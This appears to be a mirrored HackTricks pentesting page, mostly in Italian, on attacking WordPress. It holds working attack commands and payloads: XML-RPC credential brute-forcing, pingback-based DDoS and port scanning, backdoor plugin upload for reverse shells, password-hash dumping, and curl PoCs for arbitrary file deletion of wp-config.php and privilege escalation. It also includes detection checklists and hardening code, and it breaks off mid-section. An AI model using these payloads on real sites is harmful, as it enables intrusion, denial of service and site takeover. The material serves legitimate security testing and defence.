mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
668 lines
35 KiB
Markdown
668 lines
35 KiB
Markdown
# Wordpress
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## Informazioni di base
|
||
|
||
- **Uploaded** files vanno in: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||
- **I file dei temi si trovano in /wp-content/themes/,** quindi se modifichi qualche php del tema per ottenere RCE probabilmente userai quel percorso. Per esempio: Usando **theme twentytwelve** puoi **accedere** al file **404.php** in: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||
|
||
- **Un altro URL utile potrebbe essere:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||
|
||
- In **wp-config.php** puoi trovare la password root del database.
|
||
- Percorsi di login di default da controllare: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
|
||
|
||
### **File principali di WordPress**
|
||
|
||
- `index.php`
|
||
- `license.txt` contiene informazioni utili come la versione di WordPress installata.
|
||
- `wp-activate.php` viene usato per il processo di attivazione via email quando si configura un nuovo sito WordPress.
|
||
- Cartelle di login (possono essere rinominate per nasconderle):
|
||
- `/wp-admin/login.php`
|
||
- `/wp-admin/wp-login.php`
|
||
- `/login.php`
|
||
- `/wp-login.php`
|
||
- `xmlrpc.php` è un file che rappresenta una feature di WordPress che permette la trasmissione di dati usando HTTP come meccanismo di trasporto e XML come meccanismo di codifica. Questo tipo di comunicazione è stato sostituito dalla WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
|
||
- La cartella `wp-content` è la directory principale dove sono conservati plugin e temi.
|
||
- `wp-content/uploads/` è la directory dove vengono memorizzati i file caricati sulla piattaforma.
|
||
- `wp-includes/` è la directory dove sono archiviati i file core, come certificati, font, file JavaScript e widget.
|
||
- `wp-sitemap.xml` Nelle versioni di WordPress 5.5 e successive, WordPress genera un file sitemap XML con tutti i post pubblici e i tipi di post e tassonomie pubblicamente interrogabili.
|
||
|
||
**Post-exploitation**
|
||
|
||
- Il file `wp-config.php` contiene le informazioni richieste da WordPress per connettersi al database come il nome del database, host del database, username e password, authentication keys and salts, e il prefisso delle tabelle del database. Questo file di configurazione può anche essere usato per attivare la modalità DEBUG, che può essere utile per il troubleshooting.
|
||
|
||
### Permessi Utenti
|
||
|
||
- **Administrator**
|
||
- **Editor**: Pubblica e gestisce i propri e gli altri post
|
||
- **Author**: Pubblica e gestisce i propri post
|
||
- **Contributor**: Scrive e gestisce i propri post ma non può pubblicarli
|
||
- **Subscriber**: Naviga i post e modifica il proprio profilo
|
||
|
||
## **Enumerazione passiva**
|
||
|
||
### **Ottenere la versione di WordPress**
|
||
|
||
Controlla se puoi trovare i file `/license.txt` o `/readme.html`
|
||
|
||
All'interno del **codice sorgente** della pagina (esempio da [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
|
||
|
||
- grep
|
||
```bash
|
||
curl https://victim.com/ | grep 'content="WordPress'
|
||
```
|
||
- `meta name`
|
||
|
||
.png>)
|
||
|
||
- File di collegamento CSS
|
||
|
||
.png>)
|
||
|
||
- File JavaScript
|
||
|
||
.png>)
|
||
|
||
### Ottieni Plugin
|
||
```bash
|
||
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||
```
|
||
### Ottenere temi
|
||
```bash
|
||
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||
```
|
||
### Estrarre le versioni in generale
|
||
```bash
|
||
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||
|
||
```
|
||
## Enumerazione attiva
|
||
|
||
### Plugin e Temi
|
||
|
||
Probabilmente non sarai in grado di trovare tutti i Plugin e Temi possibili. Per scoprirli tutti, dovrai **eseguire attivamente un Brute Force su una lista di Plugin e Temi** (si spera che per noi esistano strumenti automatici che contengano queste liste).
|
||
|
||
### Utenti
|
||
|
||
- **ID Brute:** Ottieni utenti validi da un sito WordPress effettuando un Brute Force sugli ID degli utenti:
|
||
```bash
|
||
curl -s -I -X GET http://blog.example.com/?author=1
|
||
```
|
||
Se le risposte sono **200** o **30X**, significa che l'id è **valido**. Se la risposta è **400**, allora l'id è **invalido**.
|
||
|
||
- **wp-json:** Puoi anche provare a ottenere informazioni sugli utenti interrogando:
|
||
```bash
|
||
curl http://blog.example.com/wp-json/wp/v2/users
|
||
```
|
||
Un altro endpoint `/wp-json/` che può rivelare alcune informazioni sugli utenti è:
|
||
```bash
|
||
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||
```
|
||
Nota che questo endpoint espone solo gli utenti che hanno pubblicato almeno un post. **Verranno fornite solo le informazioni sugli utenti che hanno attivato questa funzionalità**.
|
||
|
||
Nota anche che **/wp-json/wp/v2/pages** could leak IP addresses.
|
||
|
||
- **Login username enumeration**: Quando effettui il login in **`/wp-login.php`** il **messaggio** è **diverso** e indica **se lo username esiste o meno**.
|
||
|
||
### XML-RPC
|
||
|
||
Se `xml-rpc.php` è attivo puoi eseguire un credentials brute-force o usarlo per lanciare attacchi DoS verso altre risorse. (Puoi automatizzare questo processo [using this](https://github.com/relarizky/wpxploit) per esempio).
|
||
|
||
Per verificare se è attivo prova ad accedere a _**/xmlrpc.php**_ e inviare questa richiesta:
|
||
|
||
**Controlla**
|
||
```html
|
||
<methodCall>
|
||
<methodName>system.listMethods</methodName>
|
||
<params></params>
|
||
</methodCall>
|
||
```
|
||

|
||
|
||
**Credentials Bruteforce**
|
||
|
||
**`wp.getUserBlogs`**, **`wp.getCategories`** or **`metaWeblog.getUsersBlogs`** are some of the methods that can be used to brute-force credentials. Se ne trovi qualcuno, puoi inviare qualcosa del tipo:
|
||
```html
|
||
<methodCall>
|
||
<methodName>wp.getUsersBlogs</methodName>
|
||
<params>
|
||
<param><value>admin</value></param>
|
||
<param><value>pass</value></param>
|
||
</params>
|
||
</methodCall>
|
||
```
|
||
Il messaggio _"Nome utente o password non corretti"_ all'interno di una risposta con codice 200 dovrebbe apparire se le credenziali non sono valide.
|
||
|
||
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
|
||
|
||
.png>)
|
||
|
||
Usando le credenziali corrette puoi caricare un file. Nella risposta comparirà il percorso ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
||
```html
|
||
<?xml version='1.0' encoding='utf-8'?>
|
||
<methodCall>
|
||
<methodName>wp.uploadFile</methodName>
|
||
<params>
|
||
<param><value><string>1</string></value></param>
|
||
<param><value><string>username</string></value></param>
|
||
<param><value><string>password</string></value></param>
|
||
<param>
|
||
<value>
|
||
<struct>
|
||
<member>
|
||
<name>name</name>
|
||
<value><string>filename.jpg</string></value>
|
||
</member>
|
||
<member>
|
||
<name>type</name>
|
||
<value><string>mime/type</string></value>
|
||
</member>
|
||
<member>
|
||
<name>bits</name>
|
||
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
|
||
</member>
|
||
</struct>
|
||
</value>
|
||
</param>
|
||
</params>
|
||
</methodCall>
|
||
```
|
||
Esiste anche un modo **più veloce** per brute-force delle credenziali usando **`system.multicall`** in quanto puoi provare diverse credenziali nella stessa request:
|
||
|
||
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
**Bypass 2FA**
|
||
|
||
Questo metodo è pensato per programmi e non per esseri umani, ed è vecchio, quindi non supporta 2FA. Quindi, se hai credenziali valide ma l'accesso principale è protetto da 2FA, **potresti riuscire ad abusare di xmlrpc.php per effettuare il login con quelle credenziali bypassando la 2FA**. Nota che non sarai in grado di eseguire tutte le azioni che puoi fare tramite la console, ma potresti comunque arrivare a RCE come spiega Ippsec in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
||
|
||
**DDoS or port scanning**
|
||
|
||
Se riesci a trovare il metodo _**pingback.ping**_ nella lista puoi far inviare a Wordpress una richiesta arbitraria a qualsiasi host/porta.\
|
||
Questo può essere usato per chiedere a **migliaia** di **siti** **Wordpress** di **accessare** una **stessa** **destinazione** (causando un **DDoS** in quel punto) oppure puoi usarlo per far eseguire a **Wordpress** uno **scan** di una rete interna (puoi indicare qualsiasi porta).
|
||
```html
|
||
<methodCall>
|
||
<methodName>pingback.ping</methodName>
|
||
<params><param>
|
||
<value><string>http://<YOUR SERVER >:<port></string></value>
|
||
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
|
||
</value></param></params>
|
||
</methodCall>
|
||
```
|
||

|
||
|
||
Se ottieni **faultCode** con un valore **maggiore** di **0** (17), significa che la porta è aperta.
|
||
|
||
Dai un'occhiata all'uso di **`system.multicall`** nella sezione precedente per imparare come abusare di questo metodo per provocare DDoS.
|
||
|
||
**DDoS**
|
||
```html
|
||
<methodCall>
|
||
<methodName>pingback.ping</methodName>
|
||
<params>
|
||
<param><value><string>http://target/</string></value></param>
|
||
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
|
||
</params>
|
||
</methodCall>
|
||
```
|
||
.png>)
|
||
|
||
### wp-cron.php DoS
|
||
|
||
Questo file solitamente esiste nella root del sito Wordpress: **`/wp-cron.php`**\
|
||
Quando questo file viene **acceduto** viene eseguita una **query** MySQL **"pesante"**, quindi potrebbe essere usato da **attaccanti** per **causare** un **DoS**.\
|
||
Inoltre, per default, il `wp-cron.php` viene chiamato ad ogni caricamento di pagina (ogni volta che un client richiede una qualsiasi pagina di Wordpress), il che su siti ad alto traffico può causare problemi (DoS).
|
||
|
||
Si raccomanda di disabilitare Wp-Cron e creare un vero cronjob sul host che esegua le azioni necessarie a intervalli regolari (senza causare problemi).
|
||
|
||
### /wp-json/oembed/1.0/proxy - SSRF
|
||
|
||
Prova ad accedere a _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ e il sito Wordpress potrebbe effettuare una richiesta verso di te.
|
||
|
||
This is the response when it doesn't work:
|
||
|
||
.png>)
|
||
|
||
## SSRF
|
||
|
||
|
||
{{#ref}}
|
||
https://github.com/t0gu/quickpress/blob/master/core/requests.go
|
||
{{#endref}}
|
||
|
||
Questo tool verifica se esiste **methodName: pingback.ping** e il path **/wp-json/oembed/1.0/proxy** e, se presenti, prova a sfruttarli.
|
||
|
||
## Strumenti automatici
|
||
```bash
|
||
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
|
||
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
|
||
#You can try to bruteforce the admin user using wpscan with "-U admin"
|
||
```
|
||
## Ottenere l'accesso sovrascrivendo un bit
|
||
|
||
Più che un vero attacco, è una curiosità. Nel CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) si poteva invertire 1 bit in qualsiasi file di wordpress. Quindi si poteva modificare il bit alla posizione `5389` del file `/var/www/html/wp-includes/user.php` per trasformare l'operazione NOT (`!`) in NOP.
|
||
```php
|
||
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
|
||
return new WP_Error(
|
||
```
|
||
## **Pannello RCE**
|
||
|
||
**Modificare un file php del tema usato (admin credentials needed)**
|
||
|
||
Aspetto → Editor del tema → Template 404 (a destra)
|
||
|
||
Sostituisci il contenuto con una php shell:
|
||
|
||
.png>)
|
||
|
||
Cerca su internet come accedere a quella pagina aggiornata. In questo caso devi accedere qui: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||
|
||
### MSF
|
||
|
||
Puoi usare:
|
||
```bash
|
||
use exploit/unix/webapp/wp_admin_shell_upload
|
||
```
|
||
to get a session.
|
||
|
||
## Plugin RCE
|
||
|
||
### PHP plugin
|
||
|
||
It may be possible to upload .php files as a plugin.\
|
||
Create your php backdoor using for example:
|
||
|
||
.png>)
|
||
|
||
Then add a new plugin:
|
||
|
||
.png>)
|
||
|
||
Upload plugin and press Install Now:
|
||
|
||
.png>)
|
||
|
||
Click on Procced:
|
||
|
||
.png>)
|
||
|
||
Probably this won't do anything apparently, but if you go to Media, you will see your shell uploaded:
|
||
|
||
.png>)
|
||
|
||
Access it and you will see the URL to execute the reverse shell:
|
||
|
||
.png>)
|
||
|
||
### Uploading and activating malicious plugin
|
||
|
||
Questo metodo prevede l'installazione di un plugin malevolo noto per essere vulnerabile e che può essere sfruttato per ottenere una web shell. Questo processo viene eseguito tramite il WordPress dashboard come segue:
|
||
|
||
1. **Plugin Acquisition**: The plugin is obtained from a source like Exploit DB like [**here**](https://www.exploit-db.com/exploits/36374).
|
||
2. **Plugin Installation**:
|
||
- Navigate to the WordPress dashboard, then go to `Dashboard > Plugins > Upload Plugin`.
|
||
- Upload the zip file of the downloaded plugin.
|
||
3. **Plugin Activation**: Once the plugin is successfully installed, it must be activated through the dashboard.
|
||
4. **Exploitation**:
|
||
- With the plugin "reflex-gallery" installed and activated, it can be exploited as it is known to be vulnerable.
|
||
- The Metasploit framework provides an exploit for this vulnerability. By loading the appropriate module and executing specific commands, a meterpreter session can be established, granting unauthorized access to the site.
|
||
- It's noted that this is just one of the many methods to exploit a WordPress site.
|
||
|
||
Il contenuto include immagini che mostrano i passaggi nella WordPress dashboard per installare e attivare il plugin. Tuttavia, è importante notare che sfruttare vulnerabilità in questo modo è illegale e non etico senza la dovuta autorizzazione. Queste informazioni dovrebbero essere usate responsabilmente e solo in un contesto legale, come penetration testing con permesso esplicito.
|
||
|
||
**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
||
|
||
## From XSS to RCE
|
||
|
||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ is a script designed to escalate a **Cross-Site Scripting (XSS)** vulnerability to **Remote Code Execution (RCE)** or other's criticals vulnerabilities in WordPress. For more info check [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). It provides **support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:**
|
||
- _**Privilege Escalation:**_ Creates an user in WordPress.
|
||
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Upload your custom plugin (backdoor) to WordPress.
|
||
- _**(RCE) Built-In Plugin Edit:**_ Edit a Built-In Plugins in WordPress.
|
||
- _**(RCE) Built-In Theme Edit:**_ Edit a Built-In Themes in WordPress.
|
||
- _**(Custom) Custom Exploits:**_ Custom Exploits for Third-Party WordPress Plugins/Themes.
|
||
|
||
## Post Exploitation
|
||
|
||
Estrai username e password:
|
||
```bash
|
||
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
|
||
```
|
||
Cambia la password admin:
|
||
```bash
|
||
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
|
||
```
|
||
## Wordpress Plugins Pentest
|
||
|
||
### Superficie di attacco
|
||
|
||
Capire come un plugin di Wordpress possa esporre funzionalità è fondamentale per trovare vulnerabilità nella sua logica. Puoi vedere in che modo un plugin può esporre funzionalità nei punti seguenti e alcuni esempi di plugin vulnerabili in [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/).
|
||
|
||
- **`wp_ajax`**
|
||
|
||
Uno dei modi in cui un plugin può esporre funzioni agli utenti è tramite handler AJAX. Queste funzioni possono contenere bug di logica, autorizzazione o autenticazione. Inoltre, è abbastanza frequente che queste funzioni basino sia l'autenticazione che l'autorizzazione sull'esistenza di un wordpress nonce che **qualsiasi utente autenticato nell'istanza Wordpress potrebbe avere** (indipendentemente dal suo ruolo).
|
||
|
||
Queste sono le funzioni che possono essere usate per esporre una funzione in un plugin:
|
||
```php
|
||
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
|
||
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
|
||
```
|
||
**L'uso di `nopriv` rende l'endpoint accessibile a qualsiasi utente (anche non autenticati).**
|
||
|
||
> [!CAUTION]
|
||
> Inoltre, se la funzione sta solo verificando l'autorizzazione dell'utente con la funzione `wp_verify_nonce`, questa verifica soltanto che l'utente sia autenticato; di solito non controlla il ruolo dell'utente. Quindi utenti con pochi privilegi potrebbero avere accesso ad azioni ad alto privilegio.
|
||
|
||
- **REST API**
|
||
|
||
È anche possibile esporre funzioni da wordpress registrando una REST API usando la funzione `register_rest_route`:
|
||
```php
|
||
register_rest_route(
|
||
$this->namespace, '/get/', array(
|
||
'methods' => WP_REST_Server::READABLE,
|
||
'callback' => array($this, 'getData'),
|
||
'permission_callback' => '__return_true'
|
||
)
|
||
);
|
||
```
|
||
La `permission_callback` è una funzione di callback che verifica se un dato utente è autorizzato a chiamare il metodo API.
|
||
|
||
**Se viene utilizzata la funzione built-in `__return_true`, salterà semplicemente il controllo delle autorizzazioni utente.**
|
||
|
||
- **Accesso diretto al file php**
|
||
|
||
Ovviamente, Wordpress usa PHP e i file all'interno dei plugin sono direttamente accessibili dal web. Quindi, se un plugin espone una funzionalità vulnerabile che viene attivata semplicemente accedendo al file, sarà sfruttabile da qualsiasi utente.
|
||
|
||
### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
|
||
|
||
Alcuni plugin implementano scorciatoie "trusted header" per integrazioni interne o reverse proxies e poi usano quell'header per impostare il contesto utente corrente per le richieste REST. Se l'header non è vincolato crittograficamente alla richiesta da un componente upstream, un attacker può spoofarlo e colpire REST routes privilegiate come amministratore.
|
||
|
||
- Impatto: escalation di privilegi non autenticata a admin creando un nuovo amministratore tramite la core users REST route.
|
||
- Example header: `X-Wcpay-Platform-Checkout-User: 1` (forza l'ID utente 1, tipicamente il primo account amministratore).
|
||
- Exploited route: `POST /wp-json/wp/v2/users` con un array di ruolo elevato.
|
||
|
||
PoC
|
||
```http
|
||
POST /wp-json/wp/v2/users HTTP/1.1
|
||
Host: <WP HOST>
|
||
User-Agent: Mozilla/5.0
|
||
Accept: application/json
|
||
Content-Type: application/json
|
||
X-Wcpay-Platform-Checkout-User: 1
|
||
Content-Length: 114
|
||
|
||
```
|
||
Perché funziona
|
||
|
||
- Il plugin mappa un header controllato dal client allo stato di autenticazione e salta i controlli sulle capability.
|
||
- Il core di WordPress si aspetta la capability `create_users` per questa route; la modifica del plugin la bypassa impostando direttamente il contesto dell'utente corrente dall'header.
|
||
|
||
Indicatori di successo attesi
|
||
|
||
- HTTP 201 con un body JSON che descrive l'utente creato.
|
||
- Un nuovo utente admin visibile in `wp-admin/users.php`.
|
||
|
||
Checklist di rilevamento
|
||
|
||
- Cerca con grep `getallheaders()`, `$_SERVER['HTTP_...']`, o vendor SDK che leggono header custom per impostare il contesto utente (es. `wp_set_current_user()`, `wp_set_auth_cookie()`).
|
||
- Esamina le registrazioni REST per callback privilegiate che non hanno forti controlli `permission_callback` e si affidano invece agli header della request.
|
||
- Cerca l'uso di funzioni core per la gestione utenti (`wp_insert_user`, `wp_create_user`) dentro REST handler che sono protetti solo da valori negli header.
|
||
|
||
Mitigazioni
|
||
|
||
- Non derivare mai l'autenticazione o l'autorizzazione da header controllati dal client.
|
||
- Se un reverse proxy deve inserire l'identità, termina la fiducia al proxy e rimuovi le copie in ingresso (es. `unset X-Wcpay-Platform-Checkout-User` al bordo), poi passa un token firmato e verificane la firma lato server.
|
||
- Per REST routes che eseguono azioni privilegiate, richiedi controlli `current_user_can()` e un `permission_callback` rigoroso (NON usare `__return_true`).
|
||
- Preferisci autenticazione first-party (cookies, application passwords, OAuth) rispetto all'“impersonation” via header.
|
||
|
||
Riferimenti: vedi i link alla fine di questa pagina per un caso pubblico e un'analisi più ampia.
|
||
|
||
### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
|
||
|
||
I temi e i plugin WordPress espongono frequentemente handler AJAX tramite gli hook `wp_ajax_` e `wp_ajax_nopriv_`. Quando viene usata la variante **_nopriv_** **il callback diventa raggiungibile da visitatori non autenticati**, quindi ogni azione sensibile deve implementare inoltre:
|
||
|
||
1. Un **controllo delle capability** (es. `current_user_can()` o almeno `is_user_logged_in()`), e
|
||
2. Un **nonce CSRF** validato con `check_ajax_referer()` / `wp_verify_nonce()`, e
|
||
3. **Sanitizzazione/validazione rigorosa dell'input**.
|
||
|
||
Il tema multipurpose Litho (< 3.1) ha dimenticato questi 3 controlli nella funzionalità *Remove Font Family* e ha finito per distribuire il codice seguente (semplificato):
|
||
```php
|
||
function litho_remove_font_family_action_data() {
|
||
if ( empty( $_POST['fontfamily'] ) ) {
|
||
return;
|
||
}
|
||
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
|
||
$upload_dir = wp_upload_dir();
|
||
$srcdir = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
|
||
$filesystem = Litho_filesystem::init_filesystem();
|
||
|
||
if ( file_exists( $srcdir ) ) {
|
||
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
|
||
}
|
||
die();
|
||
}
|
||
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
|
||
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
|
||
```
|
||
Problemi introdotti da questo snippet:
|
||
|
||
* **Accesso non autenticato** – l'hook `wp_ajax_nopriv_` è registrato.
|
||
* **Nessun controllo di nonce / capability** – qualsiasi visitatore può chiamare l'endpoint.
|
||
* **Nessuna sanitizzazione del path** – la stringa `fontfamily` controllata dall'utente è concatenata a un percorso del filesystem senza filtraggio, permettendo il classico traversal `../../`.
|
||
|
||
#### Sfruttamento
|
||
|
||
Un attaccante può cancellare qualsiasi file o directory **al di sotto della directory base degli uploads** (normalmente `<wp-root>/wp-content/uploads/`) inviando una singola richiesta HTTP POST:
|
||
```bash
|
||
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
|
||
-d 'action=litho_remove_font_family_action_data' \
|
||
-d 'fontfamily=../../../../wp-config.php'
|
||
```
|
||
Poiché `wp-config.php` si trova al di fuori di *uploads*, quattro sequenze `../` sono sufficienti su un'installazione di default. Eliminare `wp-config.php` forza WordPress nella *procedura guidata di installazione* alla visita successiva, consentendo la completa compromissione del sito (l'attaccante fornisce semplicemente una nuova configurazione DB e crea un utente amministratore).
|
||
|
||
Altri target impattanti includono file plugin/theme `.php` (per compromettere plugin di sicurezza) o regole `.htaccess`.
|
||
|
||
#### Checklist di rilevamento
|
||
|
||
* Qualsiasi callback `add_action( 'wp_ajax_nopriv_...')` che chiama helper del filesystem (`copy()`, `unlink()`, `$wp_filesystem->delete()`, ecc.).
|
||
* Concatenazione di input utente non sanificato nei path (cerca `$_POST`, `$_GET`, `$_REQUEST`).
|
||
* Assenza di `check_ajax_referer()` e `current_user_can()`/`is_user_logged_in()`.
|
||
|
||
#### Rafforzamento
|
||
```php
|
||
function secure_remove_font_family() {
|
||
if ( ! is_user_logged_in() ) {
|
||
wp_send_json_error( 'forbidden', 403 );
|
||
}
|
||
check_ajax_referer( 'litho_fonts_nonce' );
|
||
|
||
$fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) );
|
||
$srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily;
|
||
|
||
if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) {
|
||
wp_send_json_error( 'invalid path', 400 );
|
||
}
|
||
// … proceed …
|
||
}
|
||
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' );
|
||
// 🔒 NO wp_ajax_nopriv_ registration
|
||
```
|
||
> [!TIP]
|
||
> **Sempre** considera qualsiasi operazione di scrittura/cancellazione su disco come privilegiata e ricontrolla:
|
||
> • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via `realpath()` plus `str_starts_with()`).
|
||
|
||
---
|
||
|
||
### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
|
||
|
||
Molti plugin implementano una funzionalità "view as role" o di cambio temporaneo di ruolo salvando il/i ruolo/i originali in user meta in modo che possano essere ripristinati successivamente. Se il percorso di ripristino si basa solo su request parameters (es., `$_REQUEST['reset-for']`) e su una lista mantenuta dal plugin senza controllare le capability e un nonce valido, questo diventa una vertical privilege escalation.
|
||
|
||
Un esempio reale è stato trovato nel plugin Admin and Site Enhancements (ASE) (≤ 7.6.2.1). Il ramo di reset ripristinava i ruoli basandosi su `reset-for=<username>` se il nome utente appariva in un array interno `$options['viewing_admin_as_role_are']`, ma non eseguiva né un controllo `current_user_can()` né una verifica del nonce prima di rimuovere i ruoli correnti e riaggiungere i ruoli salvati in user meta `_asenha_view_admin_as_original_roles`:
|
||
```php
|
||
// Simplified vulnerable pattern
|
||
if ( isset( $_REQUEST['reset-for'] ) ) {
|
||
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
|
||
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];
|
||
|
||
if ( in_array( $reset_for_username, $usernames, true ) ) {
|
||
$u = get_user_by( 'login', $reset_for_username );
|
||
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
|
||
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
|
||
foreach ( $orig as $r ) { $u->add_role( $r ); }
|
||
}
|
||
}
|
||
```
|
||
Perché è sfruttabile
|
||
|
||
- Si fida di `$_REQUEST['reset-for']` e di un'opzione del plugin senza autorizzazione lato server.
|
||
- Se un utente aveva in precedenza privilegi più elevati salvati in `_asenha_view_admin_as_original_roles` e poi è stato declassato, può ripristinarli colpendo il percorso di reset.
|
||
- In alcune implementazioni, qualsiasi authenticated user potrebbe innescare un reset per un altro username ancora presente in `viewing_admin_as_role_are` (autorizzazione non valida).
|
||
|
||
Attack prerequisites
|
||
|
||
- Vulnerable plugin version with the feature enabled.
|
||
- Target account has a stale high-privilege role stored in user meta from earlier use.
|
||
- Any authenticated session; missing nonce/capability on the reset flow.
|
||
|
||
Exploitation (example)
|
||
```bash
|
||
# While logged in as the downgraded user (or any auth user able to trigger the code path),
|
||
# hit any route that executes the role-switcher logic and include the reset parameter.
|
||
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
|
||
curl -s -k -b 'wordpress_logged_in=...' \
|
||
'https://victim.example/wp-admin/?reset-for=<your_username>'
|
||
```
|
||
Nelle build vulnerabili questo rimuove i ruoli correnti e riaggiunge i ruoli originali salvati (e.g., `administrator`), aumentando di fatto i privilegi.
|
||
|
||
Detection checklist
|
||
|
||
- Cerca funzionalità di cambio ruolo che persistono lo stato dei “ruoli originali” nei user meta (e.g., `_asenha_view_admin_as_original_roles`).
|
||
- Individua i percorsi di reset/restore che:
|
||
- Leggono nomi utente da `$_REQUEST` / `$_GET` / `$_POST`.
|
||
- Modificano i ruoli tramite `add_role()` / `remove_role()` senza `current_user_can()` e `wp_verify_nonce()` / `check_admin_referer()`.
|
||
- Autorizzano basandosi su un array di opzioni del plugin (e.g., `viewing_admin_as_role_are`) invece che sulle capacità dell’attore.
|
||
|
||
Mitigazioni
|
||
|
||
- Applica controlli delle capability in ogni ramo che modifica lo stato (e.g., `current_user_can('manage_options')` o più restrittivo).
|
||
- Richiedi nonces per tutte le modifiche di ruoli/permessi e verificale: `check_admin_referer()` / `wp_verify_nonce()`.
|
||
- Non fidarti mai dei nomi utente provenienti dalla richiesta; determina l'utente target server-side basandoti sull’attore autenticato e su una policy esplicita.
|
||
- Invalida lo stato dei “ruoli originali” sugli aggiornamenti di profilo/ruolo per evitare il ripristino di privilegi elevati obsoleti:
|
||
```php
|
||
add_action( 'profile_update', function( $user_id ) {
|
||
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
|
||
}, 10, 1 );
|
||
```
|
||
- Considera di memorizzare lo stato minimo e di usare token limitati nel tempo e protetti da capability per cambi temporanei di ruolo.
|
||
|
||
---
|
||
|
||
### Considerazioni sul WAF per CVE di WordPress/plugin
|
||
|
||
I WAF generici a livello edge/server sono tarati su pattern ampi (SQLi, XSS, LFI). Molte vulnerabilità ad alto impatto in WordPress/plugin sono bug di logic/auth specifici dell'applicazione che sembrano traffico benigno a meno che il motore non comprenda le route di WordPress e la semantica dei plugin.
|
||
|
||
Note offensive
|
||
|
||
- Mirare a endpoint specifici del plugin con payload puliti: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
|
||
